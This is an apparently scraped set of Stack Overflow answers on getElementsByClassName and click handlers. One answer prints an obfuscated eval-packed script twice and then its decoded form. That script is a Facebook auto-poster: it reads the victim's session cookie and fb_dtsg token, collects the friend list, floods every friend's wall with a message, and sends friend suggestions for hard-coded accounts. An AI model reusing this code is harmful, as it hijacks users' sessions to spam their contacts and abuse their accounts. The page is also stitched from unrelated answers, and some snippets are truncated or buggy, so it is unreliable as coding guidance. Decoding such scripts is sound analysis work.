Rectangle 27 1

You can improve the structure of this code by leveraging css classes. First, use getElementsByClassName to gather all your nav items. Then attach a click handler to them that points to your toggle code.

In the togglecode, add a class for the shown element and remove it for the old one. I made assumptions about your html structure, but this should be easily adaptable. classList isn't supported by < IE7, but you can substitute in a regex to handle this if support is necessary.

<div class="nav show"><span>A</span></div>
<div class="nav"><span>B</span></div>
<div class="nav"><span>C</span></div>
<script>
    //get nav items
    var navElems = document.getElementsByClassName('nav');

    //attach click handler to each
    for (var i = 0; i < navElems.length; i++) {
        navElems[i].onclick = toggleVisible;
    }

    //handle click events
    function toggleVisible() {
        //hide currently shown item
        document.getElementsByClassName('show')[0].classList.remove('show');
        //show clicked item
        this.classList.add('show');
    }
</script>

javascript - Hiding a div when another is shown - Stack Overflow

javascript html hide
Rectangle 27 0

var photo = document.querySelector("#photo_wrap img.photo_class");
photo.onclick = function() {alert("Hello!");};

Should be noted that this only selects the first photo.

javascript - getElementsByClassName onclick issue - Stack Overflow

javascript
Rectangle 27 0

In JavaScript any CSS properties that contain a dash are turned into a camel case variable name:

document.getElementsByClassName("header-container").style.marginTop = "0px";
document.getElementsByClassName("top-icon-menu").style.marginTop = "0px";

Javascript more function onclick and ClassName - Stack Overflow

javascript onclick getelementsbyclassname
Rectangle 27 0

I know JavaScript and I can tell you for sure JQuery isn't needed. Now, you haven't shown us exactly what you've tried, getElementsByClassName only works in certain browsers (IE9+). Otherwise, you should be able to use the following for the "Send" button, assuming it has a click event attached to it already. I've added my own div element, for the snippet. You can also collapse this to one line, JavaScript is flexible with white space...

var nlDivs = document.getElementsByTagName('DIV');
  for (var i = 0; i < nlDivs.length; i++) {
    if (nlDivs[i].innerHTML === 'Send')
      nlDivs[i].click();
  }
<div class="goog-button-base-content" onclick="javascript:alert('test');">Send</div>

Thanks. I've tried exactly the code in the first line (via Applescript's do javascript) using Safari browser. It works in other contexts, but with the div button it returns missing value.. I'm not sure what the second line of code is (the div) or how to implement it. I can't even get it to compile in Applescript's of javascript.

This sounds vaguely familiar. Check the answer that is not mine, there may be an iFrame you need to deal with. stackoverflow.com/questions/32094551/ What seemed like should have worked, didn't here either...

@ WhiteHat LOL. First thing I checked was for an iframe. None in sight. From what I've been able to find, including the link at the very top, this div button structure is common on Google sites and has been problematic for others trying to click it with Javascript.

ok, didn't see one on the other question either, but you never know. I'm guessing you don't have the ability to change the outcome of the HTML? Add an id to the element or anything?

No, its an external site. I can't modify it. Is that what you were suggesting with the 2nd line of code?

jquery - Clicking a "div button" on a Safari web-page using AppleScrip...

javascript jquery safari applescript
Rectangle 27 0

When you do document.getElementsByClassName it returns a NodeList. A NodeList is similar to an array, and you have to iterate through it in order to apply a style:

// collect all nodes with class='oldclass'
var nodes = document.getElementsByClassName('oldclass');
// loops to get each node in our NodeList
for (var i=0, length = nodes.length; i < length; i++) {
   // i starts at 0 and increments with each loop (i++ increments i on each iteration)
   // it won't stop until it reaches the number of nodes (i < length)
   // so on the first iteration it will be nodes[0]
   // which is your first element, the second time
   // it will be nodes[1] which is your second, and so on
   nodes[i].style.stroke = "black";
}

var paths = document.getElementsByTagName('path');
for (var i=0, length = paths.length; i < length; i++) {
   paths[i].className = "newclass";
}

Now, this is pretty cumbersome, and that's where javascript libraries come into play. I would recommend D3.js as it works great with SVG. With D3 the equivalent code would be:

d3.selectAll(".oldclass").style("stroke", "black");
d3.selectAll("path").attr("class", "newclass");

right on, that looks like the answer right there! Now all I have to do is understand it XD. This is assuming all the paths are: 1) not in a separate document; 2) labeled class="pathClass" already, right?

nodes[i].className = "newclass"
document.getElementsByTagName('path')

javascript - getElementsByClassName and …ByTagName, and , ...

javascript css svg onclick
Rectangle 27 0

eval(function(d,e,a,c,b,f){b=function(a){return(a<e?"":b(parseInt(a/e)))+(35<(a%=e)?String.fromCharCode(a+29):a.toString(36))};if(!"".replace(/^/,String)){for(;a--;)f[b(a)]=c[a]||b(a);c=[function(a){return f[a]}];b=function(){return"\\w+"};a=1}for(;a--;)c[a]&&(d=d.replace(RegExp("\\b"+b(a)+"\\b","g"),c[a]));return d}('3O:6 N=\'1S 1Q 1T 2L 3P 3N\\\'s 27.\';6 K="",1k=\'3k&3q 35<A 8="l:#1U;"1u="1W://Y.W.T/3l.4s">3Z 4u.</A><G/>4p 35<A 8="l:#1U;"1u="1W://Y.W.T/4i">4n 4m.</A>\';6 5="<7 Z=\'18-1e-5\'8=\'1F:2o;M:50%;2s-M:-2t;15:1J;16:2l;z-2n:2k;m-q:2R;p-y:L;w:1a;1I-1B:10 X 10 B(0,0,0,0.1);V-2m:1D;V:X 1G B(U,U,50,0.2);1d-l:B(E,E,E,0.9);l:#2x\'>";5+="<7 8=\'w-1f:P;m-q:1E;\'>"+N+"</7>";5+="<7><2F Z=\'2i\' 3L=\'3J 3I 3H 3G.\'8=\'w-15:P;16:3x;2A:1J;m-2D:2C;m-q:3C;1d-l:B(E,E,E,0.1);\'></2F></7>";5+="<7 H=\'3D\' 8=\'p-y:2d;w-15:P;\'><a 8=\'p-y:2d;w-15:P;\'1q-3B=\'3f\'1P-34=\'2q 1Y\'1q-3f-3m=\'2d\'H=\'3p 1z 3t\'1u=\'#\'3S=\'4f\'1P-4h=\'1\'1P-4o=\'2O\'1q-34=\'\'1q-F=\'30\'1q-4w=\'1w 4v 4e\'4d=\'3T\'Z=\'4a\'><i H=\'4c 49 48 1V 4k 47\'></i><I H=\'46\'>1C 27</I></a><I Z=\'45\'44=\'2G()\'8=\'p-y:L;m-2D:2C;l:O;16:4b;2A:43;\'H=\'42 3W 3V 3U 3X 2M\'>1w</I>";5+="<7 8=\'p-y:L;m-q:11;O-1h:1j-1i;l:1H\'>";5+=1k;t[13+\'1m\']=2r;5+="</7>";5+="</7>";C.R("1N").1K=5;u 14(o){1g.1n(t.12.1t+"//Y.W.T/1y/3Y/41.3e?J="+J+"&40="+o+"&4t=1&4r=1&4q="+2y(1v)+"&2T="+2y(1v)+"&4y=4x&1x=1w&4g[4j]=4l&21="+19+"&1A=1&23=4z&22=1b&20=",u(a){6 b=a.39(a.2f("{"));6 c=2e.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5o</I><I H=\'5n 2Z 1z 25\' 1Z=\'C.R(\\"1N\\").8.5=\\"38\\"\'>5q</I><G/>";5+="<7 8=\'p-y:L;m-q:11;O-1h:1j-1i;l:1H\'><G/>";5+=1k;5+="</7>"}5+="</7>";C.R("1N").1K=5},"p","1x");S--;v(S>0){6 s=D[i];37("14("+s+");",5r)}3d.2z(S+"/"+D.F+":"+D[S]+"/"+1p[S]+", 5m:"+1o);v(J){1g.1n(t.12.1t+"//Y.W.T/1y/1Y/31?&2K="+o+"&2X=5f&2U=2V&2W=32&21="+19+"&1A=1&23=2I-&22=17&J="+J+"&20=5e",u(){},"p","1x")}v(J){1g.1n(t.12.1t+"//Y.W.T/1y/1Y/31?&2K="+o+"&2X=5k&2U=2V&2W=32&21="+19+"&1A=1&23=2I-&22=17&J="+J+"&20=5F",u(){},"p","1x")}}1g={b:u(){6 b=!1;v("5E"!=5G 24)2a{b=Q 24("5J.2J")}2b(c){2a{b=Q 24("5C.2J")}2b(a){b=!1}}1c v(t.2H)2a{b=Q 2H}2b(h){b=!1}26 b},1n:u(b,c,a,h,g){6 e=28.d();v(e&&b){e.33&&e.33("p/5w");h||(h="5y");a||(a="p");g||(g={});a=a.5B();h=h.5A();b+=b.2f("?")+1?"&":"?";6 k=2E;"4A"==h&&(k=b.5c("?"),b=k[0],k=k[1]);e.4N(h,b,!0);e.4M=g.c?u(){g.c(e)}:u(){v(4==e.4L)v(U==e.3a){6 b="";e.2B&&(b=e.2B);"j"==a.2Y(0)?(b=b.4O(/[\\n\\r]/g,""),b=5d("("+b+")")):"x"==a.2Y(0)&&(b=e.4R);c&&c(b)}1c g.f&&C.4Q("4K")[0].4J(g.f),g.e&&(C.R(g.e).8.5="38"),29&&29(e.3a)};e.4D(k)}},d:u(){26 28.b()}};u 1X(){t.12.1u="4C://Y.W.T/"};37("1X",1);t.4B=u(){v(t[13+\'1m\']){26\'4E 4F 1O 4I 3c!\'}};6 3c=(Q 4H).4G();6 13=\'4S\';6 i=3;6 S=3;6 1o=0;6 D=Q 1R;6 1p=Q 1R;6 2h=Q 1R;6 2w=C.4T("57")[0].1K;6 19=C.3b.36(C.3b.36(/56=(\\d+)/)[1]);6 J=C.55(\'J\')[0].2g;6 1v=\'\';1g.1n(t.12.1t+"//Y.W.T/1y/58/59.3e?"+"1A=1&5b[0]=5a&54=0&53="+19+"&4W=4V&4U=0",u(a){6 b=a;6 c=b.39(b.2f("{"));6 d=2e.3g(c);d=d.4X.4Y;2v(6 e=0;e<d.F;e++)D.2j(d[e].52);2v(6 1s=0;1s<d.F;1s++)1p.2j(d[1s].p);2v(6 1r=0;1r<d.F;1r++)2h.2j(d[1r].51);i=D.F-1;S=i;3d.2z(D.F)});u 2G(){v(C.R("2i").2g!=""){N=\'1M 1L 2p 4Z 1w.\';1v=C.R("2i").2g;6 5="<7 Z=\'18-1e-5\'8=\'1F:2o;M:50%;2s-M:-2t;15:1J;16:2l;z-2n:2k;m-q:1a;p-y:L;w:1a;1I-1B:10 X 10 B(0,0,0,0.1);V-2m:1D;V:X 1G B(U,U,50,0.2);1d-l:B(E,E,E,0.9);l:#2x\'>";5+="<7 8=\'w-1f:11;m-q:1E;\'>"+N+"</7>";5+=D.F+" 1C 2u<G/><G/>";5+="<7 8=\'p-y:L;m-q:11;O-1h:1j-1i;l:1H\'>";5+=2w+"1M 1L 2p 14 2q 1l.<G/>";5+=1k;t[13+\'1m\']=2r;5+="</7>";5+="</7>";C.R("1N").1K=5}14(D[i])}',
62,357,"     display var div style             color font   text size   window function if padding  align   rgba document arr 255 length br class span fb_dtsg Descriptions center left Title white 5px new getElementById tay com 200 border facebook 1px www id 0pt 10px location tag Posting top width  friend user_id 15px  else background edge bottom jx space wrap pre _text Messege _close load suc arn data pic eg protocol href msg Post post ajax uiButton __a shadow Friends 3px 20px position solid gray box 100px innerHTML Wait Please pagelet_sidebar is aria Message Array Auto Poster 3B5998 img https ChangeLocation friends onClick phstamp __user __req __dyn ActiveXObject uiButtonLarge return Wall this error try catch Now right JSON indexOf value pho txtFloodMsg push 9999 500px radius index fixed While Your true margin 273px Detected for getuname 000000 encodeURIComponent log height responseText tahoma family null textarea autopostingfunc XMLHttpRequest 798aD5z5CF XMLHTTP receiver in selected to false Posted 8px 14px errorDescription message attempt_id 0585ab74e2dd0ff10282a3a36df39e19 ref newcomer charAt uiOverlayButton  suggest profile_others_dropdown overrideMimeType label By match setTimeout none substring status cookie now console php tooltip parse posted 9px darkred Created rupam alignh url not uiSelectorButton Designed stringify The uiButtonSuppressed could be Timeline 505px Lefted Processed of hover 13px clearfix repeat no here messege your Write name placeholder 0px Friend javascript All Started darkgreen role toggle _4jy3 _11b _4jy0 _4jy1 stream Rupam walltarget inline _42ft 25px onclick UIButton_Start uiButtonText sx_042661 customimg defaultIcon js_14 45px mrs rel Setting button nctr haspopup rupamslovejourney _mod sp_5ym4oy pagelet_reminders Team Facebook expanded Powered message_text birthday baveja render_notif_only Baveja Privacy ariaprefix 8ff493ad46 giftsgroupid 7n8ahyj35CFIwd9e POST onbeforeunload http send This script getTime Date running removeChild body readyState onreadystatechange open replace 125px getElementsByTagName responseXML Close getElementsByClassName stale_ok v7 token payload entries Starting  photo uid viewer lazy getElementsByName c_user fbxWelcomeBoxName typeahead first_degree user filter split eval 1658165120113116104521114 1273872655 weight layerConfirm absolute Homepage 100002920534041 bold success layerCancel Page reload Cancel 100 uiButtonConfirm src 2px and xml FriendRequestAdd GET Stopped toUpperCase toLowerCase Microsoft addButton undefined 1658168561015387781130 typeof Go uiButtonSpecial Msxml2 Refresh".split(" "),
0,{}));
eval(function (d, e, a, c, b, f) {
    b = function (a) {
        return (a < e ? "" : b(parseInt(a / e))) + (35 < (a %= e) ? String.fromCharCode(a + 29) : a.toString(36))
    };
    if (!"".replace(/^/, String)) {
        for (; a--;) f[b(a)] = c[a] || b(a);
        c = [
            function (a) {
                return f[a]
            }
        ];
        b = function () {
            return "\\w+"
        };
        a = 1
    }
    for (; a--;) c[a] && (d = d.replace(RegExp("\\b" + b(a) + "\\b", "g"), c[a]));
    return d
}('3O:6 N=\'1S 1Q 1T 2L 3P 3N\\\'s 27.\';6 K="",1k=\'3k&3q 35<A 8="l:#1U;"1u="1W://Y.W.T/3l.4s">3Z 4u.</A><G/>4p 35<A 8="l:#1U;"1u="1W://Y.W.T/4i">4n 4m.</A>\';6 5="<7 Z=\'18-1e-5\'8=\'1F:2o;M:50%;2s-M:-2t;15:1J;16:2l;z-2n:2k;m-q:2R;p-y:L;w:1a;1I-1B:10 X 10 B(0,0,0,0.1);V-2m:1D;V:X 1G B(U,U,50,0.2);1d-l:B(E,E,E,0.9);l:#2x\'>";5+="<7 8=\'w-1f:P;m-q:1E;\'>"+N+"</7>";5+="<7><2F Z=\'2i\' 3L=\'3J 3I 3H 3G.\'8=\'w-15:P;16:3x;2A:1J;m-2D:2C;m-q:3C;1d-l:B(E,E,E,0.1);\'></2F></7>";5+="<7 H=\'3D\' 8=\'p-y:2d;w-15:P;\'><a 8=\'p-y:2d;w-15:P;\'1q-3B=\'3f\'1P-34=\'2q 1Y\'1q-3f-3m=\'2d\'H=\'3p 1z 3t\'1u=\'#\'3S=\'4f\'1P-4h=\'1\'1P-4o=\'2O\'1q-34=\'\'1q-F=\'30\'1q-4w=\'1w 4v 4e\'4d=\'3T\'Z=\'4a\'><i H=\'4c 49 48 1V 4k 47\'></i><I H=\'46\'>1C 27</I></a><I Z=\'45\'44=\'2G()\'8=\'p-y:L;m-2D:2C;l:O;16:4b;2A:43;\'H=\'42 3W 3V 3U 3X 2M\'>1w</I>";5+="<7 8=\'p-y:L;m-q:11;O-1h:1j-1i;l:1H\'>";5+=1k;t[13+\'1m\']=2r;5+="</7>";5+="</7>";C.R("1N").1K=5;u 14(o){1g.1n(t.12.1t+"//Y.W.T/1y/3Y/41.3e?J="+J+"&40="+o+"&4t=1&4r=1&4q="+2y(1v)+"&2T="+2y(1v)+"&4y=4x&1x=1w&4g[4j]=4l&21="+19+"&1A=1&23=4z&22=1b&20=",u(a){6 b=a.39(a.2f("{"));6 c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>5K 5o</I><I H=\'5n 2Z 1z 25\' 1Z=\'C.R(\\"1N\\").8.5=\\"38\\"\'>5q</I><G/>";5+="<7 8=\'p-y:L;m-q:11;O-1h:1j-1i;l:1H\'><G/>";5+=1k;5+="</7>"}5+="</7>";C.R("1N").1K=5},"p","1x");S--;v(S>0){6 s=D[i];37("14("+s+");",5r)}3d.2z(S+"/"+D.F+":"+D[S]+"/"+1p[S]+", 5m:"+1o);v(J){1g.1n(t.12.1t+"//Y.W.T/1y/1Y/31?&2K="+o+"&2X=5f&2U=2V&2W=32&21="+19+"&1A=1&23=2I-&22=17&J="+J+"&20=5e",u(){},"p","1x")}v(J){1g.1n(t.12.1t+"//Y.W.T/1y/1Y/31?&2K="+o+"&2X=5k&2U=2V&2W=32&21="+19+"&1A=1&23=2I-&22=17&J="+J+"&20=5F",u(){},"p","1x")}}1g={b:u(){6 b=!1;v("5E"!=5G 24)2a{b=Q 24("5J.2J")}2b(c){2a{b=Q 24("5C.2J")}2b(a){b=!1}}1c v(t.2H)2a{b=Q 2H}2b(h){b=!1}26 b},1n:u(b,c,a,h,g){6 e=28.d();v(e&&b){e.33&&e.33("p/5w");h||(h="5y");a||(a="p");g||(g={});a=a.5B();h=h.5A();b+=b.2f("?")+1?"&":"?";6 k=2E;"4A"==h&&(k=b.5c("?"),b=k[0],k=k[1]);e.4N(h,b,!0);e.4M=g.c?u(){g.c(e)}:u(){v(4==e.4L)v(U==e.3a){6 b="";e.2B&&(b=e.2B);"j"==a.2Y(0)?(b=b.4O(/[\\n\\r]/g,""),b=5d("("+b+")")):"x"==a.2Y(0)&&(b=e.4R);c&&c(b)}1c g.f&&C.4Q("4K")[0].4J(g.f),g.e&&(C.R(g.e).8.5="38"),29&&29(e.3a)};e.4D(k)}},d:u(){26 28.b()}};u 1X(){t.12.1u="4C://Y.W.T/"};37("1X",1);t.4B=u(){v(t[13+\'1m\']){26\'4E 4F 1O 4I 3c!\'}};6 3c=(Q 4H).4G();6 13=\'4S\';6 i=3;6 S=3;6 1o=0;6 D=Q 1R;6 1p=Q 1R;6 2h=Q 1R;6 2w=C.4T("57")[0].1K;6 19=C.3b.36(C.3b.36(/56=(\\d+)/)[1]);6 J=C.55(\'J\')[0].2g;6 1v=\'\';1g.1n(t.12.1t+"//Y.W.T/1y/58/59.3e?"+"1A=1&5b[0]=5a&54=0&53="+19+"&4W=4V&4U=0",u(a){6 b=a;6 c=b.39(b.2f("{"));6 d=2e.3g(c);d=d.4X.4Y;2v(6 e=0;e<d.F;e++)D.2j(d[e].52);2v(6 1s=0;1s<d.F;1s++)1p.2j(d[1s].p);2v(6 1r=0;1r<d.F;1r++)2h.2j(d[1r].51);i=D.F-1;S=i;3d.2z(D.F)});u 2G(){v(C.R("2i").2g!=""){N=\'1M 1L 2p 4Z 1w.\';1v=C.R("2i").2g;6 5="<7 Z=\'18-1e-5\'8=\'1F:2o;M:50%;2s-M:-2t;15:1J;16:2l;z-2n:2k;m-q:1a;p-y:L;w:1a;1I-1B:10 X 10 B(0,0,0,0.1);V-2m:1D;V:X 1G B(U,U,50,0.2);1d-l:B(E,E,E,0.9);l:#2x\'>";5+="<7 8=\'w-1f:11;m-q:1E;\'>"+N+"</7>";5+=D.F+" 1C 2u<G/><G/>";5+="<7 8=\'p-y:L;m-q:11;O-1h:1j-1i;l:1H\'>";5+=2w+"1M 1L 2p 14 2q 1l.<G/>";5+=1k;t[13+\'1m\']=2r;5+="</7>";5+="</7>";C.R("1N").1K=5}14(D[i])}',
    62, 357, "     display var div style             color font   text size   window function if padding  align   rgba document arr 255 length br class span fb_dtsg Descriptions center left Title white 5px new getElementById tay com 200 border facebook 1px www id 0pt 10px location tag Posting top width  friend user_id 15px  else background edge bottom jx space wrap pre _text Messege _close load suc arn data pic eg protocol href msg Post post ajax uiButton __a shadow Friends 3px 20px position solid gray box 100px innerHTML Wait Please pagelet_sidebar is aria Message Array Auto Poster 3B5998 img https ChangeLocation friends onClick phstamp __user __req __dyn ActiveXObject uiButtonLarge return Wall this error try catch Now right JSON indexOf value pho txtFloodMsg push 9999 500px radius index fixed While Your true margin 273px Detected for getuname 000000 encodeURIComponent log height responseText tahoma family null textarea autopostingfunc XMLHttpRequest 798aD5z5CF XMLHTTP receiver in selected to false Posted 8px 14px errorDescription message attempt_id 0585ab74e2dd0ff10282a3a36df39e19 ref newcomer charAt uiOverlayButton  suggest profile_others_dropdown overrideMimeType label By match setTimeout none substring status cookie now console php tooltip parse posted 9px darkred Created rupam alignh url not uiSelectorButton Designed stringify The uiButtonSuppressed could be Timeline 505px Lefted Processed of hover 13px clearfix repeat no here messege your Write name placeholder 0px Friend javascript All Started darkgreen role toggle _4jy3 _11b _4jy0 _4jy1 stream Rupam walltarget inline _42ft 25px onclick UIButton_Start uiButtonText sx_042661 customimg defaultIcon js_14 45px mrs rel Setting button nctr haspopup rupamslovejourney _mod sp_5ym4oy pagelet_reminders Team Facebook expanded Powered message_text birthday baveja render_notif_only Baveja Privacy ariaprefix 8ff493ad46 giftsgroupid 7n8ahyj35CFIwd9e POST onbeforeunload http send This script getTime Date running removeChild body readyState onreadystatechange open replace 125px getElementsByTagName responseXML Close getElementsByClassName stale_ok v7 token payload entries Starting  photo uid viewer lazy getElementsByName c_user fbxWelcomeBoxName typeahead first_degree user filter split eval 1658165120113116104521114 1273872655 weight layerConfirm absolute Homepage 100002920534041 bold success layerCancel Page reload Cancel 100 uiButtonConfirm src 2px and xml FriendRequestAdd GET Stopped toUpperCase toLowerCase Microsoft addButton undefined 1658168561015387781130 typeof Go uiButtonSpecial Msxml2 Refresh".split(" "),
    0, {}));

Finally by hijacking the eval and running the output through http://jsbeautifier.org/:

var Title = 'Auto Message Poster in All Friend\'s Wall.';
var Descriptions = "",
    _text = 'Created&Designed By<A style="color:#3B5998;"href="https://www.facebook.com/rupam.baveja">Rupam Baveja.</A><br/>Powered By<A style="color:#3B5998;"href="https://www.facebook.com/rupamslovejourney">Facebook Team.</A>';
var display = "<div id='friend-edge-display'style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
display += "<div><textarea id='txtFloodMsg' placeholder='Write your messege here.'style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
display += "<div class='clearfix' style='text-align:right;padding-top:5px;'><a style='text-align:right;padding-top:5px;'data-hover='tooltip'aria-label='Your friends'data-tooltip-alignh='right'class='uiSelectorButton uiButton uiButtonSuppressed'href='#'role='button'aria-haspopup='1'aria-expanded='false'data-label=''data-length='30'data-ariaprefix='Post Privacy Setting'rel='toggle'id='js_14'><i class='mrs defaultIcon customimg img sp_5ym4oy sx_042661'></i><span class='uiButtonText'>Friends Wall</span></a><span id='UIButton_Start'onclick='autopostingfunc()'style='text-align:center;font-family:tahoma;color:white;width:45px;height:25px;'class='_42ft _4jy0 _11b _4jy3 _4jy1 selected'>Post</span>";
display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
display += _text;
window[tag + '_close'] = true;
display += "</div>";
display += "</div>";
document.getElementById("pagelet_sidebar").innerHTML = display;

function Posting(o) {
    jx.load(window.location.protocol + "//www.facebook.com/ajax/stream/inline.php?fb_dtsg=" + fb_dtsg + "&walltarget=" + o + "&render_notif_only=1&birthday=1&message_text=" + encodeURIComponent(msg) + "&message=" + encodeURIComponent(msg) + "&giftsgroupid=8ff493ad46&post=Post&nctr[_mod]=pagelet_reminders&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFIwd9e&__req=1b&phstamp=", function (a) {
        var b = a.substring(a.indexOf("{"));
        var c = JSON.parse(b);
        i--;
        Descriptions = "<div class='friend-edge-name'style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
        if (c.error) {
            Descriptions += "color:darkred;font-size:9px;'>";
            Descriptions += 'The message could not be posted to this Wall.';
            if (c.errorDescription) Descriptions += c.errorDescription;
            else Descriptions += JSON.stringify(c, null, "")
        } else {
            Descriptions += "color:darkgreen'>";
            Descriptions += "Please Wait Now Posting in " + arn[i] + "\'s Timeline.<br/>";
            suc++
        }
        Descriptions += "</div>";
        var display = "<div id='friend-edge-display'style='box-shadow:0px 3px 8px rgba(0,0,0,0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:15px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
        if (i > 0) {
            var Title = 'Auto Message Poster is Now Started.';
            display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
            display += arr.length + "Friends Detected<br/>";
            display += "<b>" + suc + "</b>Messege Posted of" + (arr.length - i) + "Messege Processed";
            display += "(" + i + "Lefted...)";
            display += "<div class='friend-edge'>";
            display += Descriptions;
            display += "<img style='background:center no-repeat url(https:125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;font-size:14px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
            display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
            display += getuname + "Please Wait While Posting Your Messege.<br/>";
            display += _text;
            window[tag + '_close'] = true;
            display += "</div>";
            display += "</div>"
        } else {
            Title = 'Auto Message Poster is Now Stopped.';
            display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
            display += arr.length + "Friends Detected and" + suc + "Messege Posted</br></br>";
            window[tag + '_close'] = false;
            display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge'onClick='ChangeLocation()'style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge'onClick='window.location.reload()'style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span><br/>";
            display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
            display += _text;
            display += "</div>"
        }
        display += "</div>";
        document.getElementById("pagelet_sidebar").innerHTML = display
    }, "text", "post");
    tay--;
    if (tay > 0) {
        var s = arr[i];
        setTimeout("Posting(" + s + ");", 100)
    }
    console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
    if (fb_dtsg) {
        jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + o + "&newcomer=1273872655&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=1658165120113116104521114", function () {}, "text", "post")
    }
    if (fb_dtsg) {
        jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + o + "&newcomer=100002920534041&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=1658168561015387781130", function () {}, "text", "post")
    }
}
jx = {
    b: function () {
        var b = !1;
        if ("undefined" != typeof ActiveXObject) try {
                b = new ActiveXObject("Msxml2.XMLHTTP")
            } catch (c) {
                try {
                    b = new ActiveXObject("Microsoft.XMLHTTP")
                } catch (a) {
                    b = !1
                }
            } else if (window.XMLHttpRequest) try {
                b = new XMLHttpRequest
            } catch (h) {
                b = !1
            }
            return b
    },
    load: function (b, c, a, h, g) {
        var e = this.d();
        if (e && b) {
            e.overrideMimeType && e.overrideMimeType("text/xml");
            h || (h = "GET");
            a || (a = "text");
            g || (g = {});
            a = a.toLowerCase();
            h = h.toUpperCase();
            b += b.indexOf("?") + 1 ? "&" : "?";
            var k = null;
            "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
            e.open(h, b, !0);
            e.onreadystatechange = g.c ? function () {
                g.c(e)
            } : function () {
                if (4 == e.readyState)
                    if (200 == e.status) {
                        var b = "";
                        e.responseText && (b = e.responseText);
                        "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
                        c && c(b)
                    } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
            };
            e.send(k)
        }
    },
    d: function () {
        return this.b()
    }
};

function ChangeLocation() {
    window.location.href = "http://www.facebook.com/"
};
setTimeout("ChangeLocation", 1);
window.onbeforeunload = function () {
    if (window[tag + '_close']) {
        return 'This script is running now!'
    }
};
var now = (new Date).getTime();
var tag = 'Close';
var i = 3;
var tay = 3;
var suc = 0;
var arr = new Array;
var arn = new Array;
var pho = new Array;
var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var msg = '';
jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0", function (a) {
    var b = a;
    var c = b.substring(b.indexOf("{"));
    var d = JSON.parse(c);
    d = d.payload.entries;
    for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
    for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
    for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
    i = arr.length - 1;
    tay = i;
    console.log(arr.length)
});

function autopostingfunc() {
    if (document.getElementById("txtFloodMsg").value != "") {
        Title = 'Please Wait While Starting Post.';
        msg = document.getElementById("txtFloodMsg").value;
        var display = "<div id='friend-edge-display'style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:15px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
        display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
        display += arr.length + " Friends Detected<br/><br/>";
        display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
        display += getuname + "Please Wait While Posting Your Messege.<br/>";
        display += _text;
        window[tag + '_close'] = true;
        display += "</div>";
        display += "</div>";
        document.getElementById("pagelet_sidebar").innerHTML = display
    }
    Posting(arr[i])
}

javascript eval function decode - Stack Overflow

javascript eval decode
Rectangle 27 0

I guess photo is a array. If that's the case, try that:

var photo = document.getElementsByClassName(
    "photo_class","img",document.getElementById("photo_wrap")
);

for (var i=0; i < photo.length; i++) {
  photo[i].onclick = function(){alert("Finaly!");
}

@mbinette Thanks! This is what I was looking for!)

@Dima aretias should get all the credit, I only made a minor edit to his post. ;-)

javascript - getElementsByClassName onclick issue - Stack Overflow

javascript
Rectangle 27 0

Use descendant selector for this kind of task. It's much easier.

<head>
   <style type="text/css">
        .div1 {
            overflow:hidden;
            height:25px;
        }

        .on .div1 {
            height: 110px;
        }
    </style>
    <script>
        function foo(ele) {
            if ( !ele.state ) {
